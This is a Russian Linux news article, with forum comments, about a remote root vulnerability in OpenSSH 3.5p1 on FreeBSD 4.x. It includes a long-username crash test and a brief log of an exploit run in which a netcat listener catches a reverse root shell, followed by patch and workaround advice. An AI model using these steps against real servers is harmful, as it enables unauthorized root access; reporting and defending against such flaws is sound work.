LINUX.ORG.RU

В OpenSSH 3.5p1 из состава FreeBSD 4.x найдена удаленная root-уязвимость

 , ,


0

1

В списке рассылки full-disclosure представлена критическая уязвимость в используемой во FreeBSD 4.x версии OpenSSH, позволяющая удаленному злоумышленнику без аутентификации получить root-доступ к системе. Уже создан и публично опубликован эксплоит, позволяющий получить привилегированный shell на подверженных уязвимости серверах.

Уязвимость проявляется для протоколов SSH1 и SSH2. Проблема вызвана ошибкой в реализации аутентификации с использованием PAM на платформе FreeBSD. Проблема присутствует в функции «pam_thread()» из файла auth2-pam-freebsd.c. Начиная с версии FreeBSD 5.2 содержащий уязвимость файл auth2-pam-freebsd.c был заменен новой реализацией, т.е. с большой долей вероятности можно утверждать, что новые версии FreeBSD проблеме не подвержены. 100% уверенности пока нет, так как точно не ясно, не перекочевал ли проблемный код в какие-либо библиотеки PAM или сторонние реализации OpenSSH, используемые и поныне. Детальный аудит ещё предстоит провести.

Ошибка проявляется при передаче слишком длинного имени пользователя. Простой способ проверить наличие уязвимости - попытаться обратиться к своему серверу, указав логин порядка 100 символов. Например:

 #ssh -l`perl -e 'print "A" x 100'` хост 
, в случае проблемы, можно наблюдать крах рабочего процесса sshd и вывод в лог /var/log/messages сообщения «/kernel: pid N (sshd), uid 0: exited on signal 11 (core dumped)». Изучение core-дампа показало, что проблема подвержена эксплуатации, так как атакующий может контролировать указатель перехода и позиционировать его на shellcode. Прототип рабочего эксплоита был успешно создан путем небольшой модификации кода ssh-клиента из пакета OpenSSH 5.8p2.

   $ ./ssh -1 192.168.1.1
   $ nc -v -l -p 10000
   listening on [any] 10000 ...
   192.168.1.1: inverse host lookup failed: Unknown host
   connect to [192.168.1.1] from (UNKNOWN) [192.168.1.2] 1038
   
   uname -a
   
   FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005  /GENERIC  i386

   id

   uid=0(root) gid=0(wheel) groups=0(wheel)

Поддержка ветки FreeBSD 4.x прекращена ещё в 2007 году, но данная версия все еще используется на некоторых серверах в сети. Пользователям версии FreeBSD 4.x рекомендуется срочно обновить OpenSSH до более новой версии. В качестве обходного пути решения проблемы следует разрешить через пакетный фильтр доступ по SSH только для доверительных хостов и отключить поддержку PAM, указав в настройках «ChallengeResponseAuthentication no». Информации о возможности поражения других операционных систем, использующих устаревшие версии OpenSSH с реализацией поддержки PAM от проекта FreeBSD, пока нет.

>>> Opennet.ru



Проверено: mono ()
Последнее исправление: Klymedy (всего исправлений: 1)

Ответ на: комментарий от ArtemZ

> линукс работает на 95% самых мощных современных компьютеров.

Остальные 5% Linux не осилят? А Crysis смогут?

rtvd ★★★★★
()
Ответ на: Как это так? от AlexVR

> З.Ы.: тут не так давно, один человек на вопрос «на какой ... ты открыл root-а в SSH» ответил «Я верю в надёжность SSH!!!»

Ну не открыл бы он рута, и что ? Вчитайся в новость. :-)

AS ★★★★★
()

Неужели кто-то ещё ищет уязвимости в таких древних системах?

unC0Rr ★★★★★
()

Ну так старая версия-то.. Что уж тут говорить, да и поддержка даже с 2007-го года прекращена. Новость ни о чем

SDSM
()
Ответ на: комментарий от matumba

Не скомпилится. Идите поготовтесь.

anonymous
()
Ответ на: комментарий от anonymous

> самая безопасная система это RHEL

ну ну

freebsd никто не юзает, ибо оно НЕНУЖНО!

мальчик вы откуда взялись?

qbbr ★★★★★
()

еще бы про ядро линукса 2.4 вспомнили, а ведь там тоже уязвимости

insider ★★★
()
Ответ на: комментарий от KPSS

> RHEL официально поддерживает ноутбуками Clevo.

Кого она ноутбуками поддерживает? И как она ими поддерживает, на каких-нибудь выставках раздаëт?

anonymous
()
Ответ на: комментарий от wintrolls

>Так вот какие компьютеры нужны для нормальной работы линукса…

А ты прав. Только теперь я понял, как и зачем делают компьютеры. Под операционку.

AVL2 ★★★★★
()

Вчера обнаружил, что sshd мило падает от обычного сканирования nmap. Вот кто бы мог подумать...

AVL2 ★★★★★
()

>FreeBSD 4.x

оно еще живо?

tazhate ★★★★★
()
Ответ на: комментарий от AVL2

>Я так понял, везде. У меня оно падало на 15 федоре.

ээээ. ээээ. у меня бы тогда доступов так 200 умерло точно, если бы падало везде. сканил из последнего: дебиан 5 и 6, фрю 7 и 8.

tazhate ★★★★★
()
Ответ на: комментарий от tazhate

Да сам был в шоке. Но вроде как падает потомок, который респауном восстанавливается. А тут я запустил sshd в режиме дебага и нате.

AVL2 ★★★★★
()

Originally Posted by Patrick Volkerding

«I think a better name for PAM might be SCAM, for Swiss Cheese Authentication Modules, and have never felt that the small amount of convenience it provides is worth the great loss of system security.»

Turbo_Mascal
()

не прошло и 5 лет

argin ★★★★★
()
Ответ на: комментарий от fontpath

Счастливый обладатель ноутбука с nVidia Optimus

у меня все хорошо

anonymous
()
Ответ на: комментарий от AVL2

> Только теперь я понял, как и зачем делают компьютеры. Под операционку.

Давно уже. Я ещё застал клавы с логотипом «Designed for Windows 95».

Правда, к вящему огорчению MS, линукс эту клавиатуру прекрасно видел :)

hobbit ★★★★★
()
Ответ на: комментарий от matumba

> recv(&buf, 100000);

Хочется кого-то убить за «&».

sv75 ★★★★★
()
Ответ на: комментарий от ventilator

про твою версию не уверен, но умельцы вон уже до 5.8p2 добрались и экслойт доработали

http://seclists.org/fulldisclosure/2011/Jul/6

если задаться целью сделать дифф, думаю и под твою версию пойдет

xtraeft ★★☆☆
()
Ответ на: комментарий от anonymous

char s[10], и действительно никаких char[10], а может аффтор имел в виду chr[10] или char(10) - но это уже из SQL )

anonymous
()
Ответ на: комментарий от anonymous

[quote] Функция recv

Функция служит для чтения данных из сокета.

Прототип:

int recv(int s, char * buf, int len, int flags);

Первый аргумент - сокет-дескриптор, из которого читаются данные. Второй и третий аргументы - соответственно, адрес и длина буфера для записи читаемых данных. Четвертый параметр - это комбинация битовых флагов, управляющих режимами чтения. Если аргумент flags равен нулю, то считанные данные удаляются из сокета. Если значение flags есть MSG_PEEK, то данные не удаляются и могут быть считаны последущим вызовом ( или вызовами ) recv.

Функция возвращает число считанных байтов или -1 в случае ошибки. Следует отметить, что нулевое значение не является ошибкой. Оно сигнализирует об отсутствии записанных в сокет процессом-поставщиком данных.[/quote]

как минимум неправильное написание для вызова функции :)

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.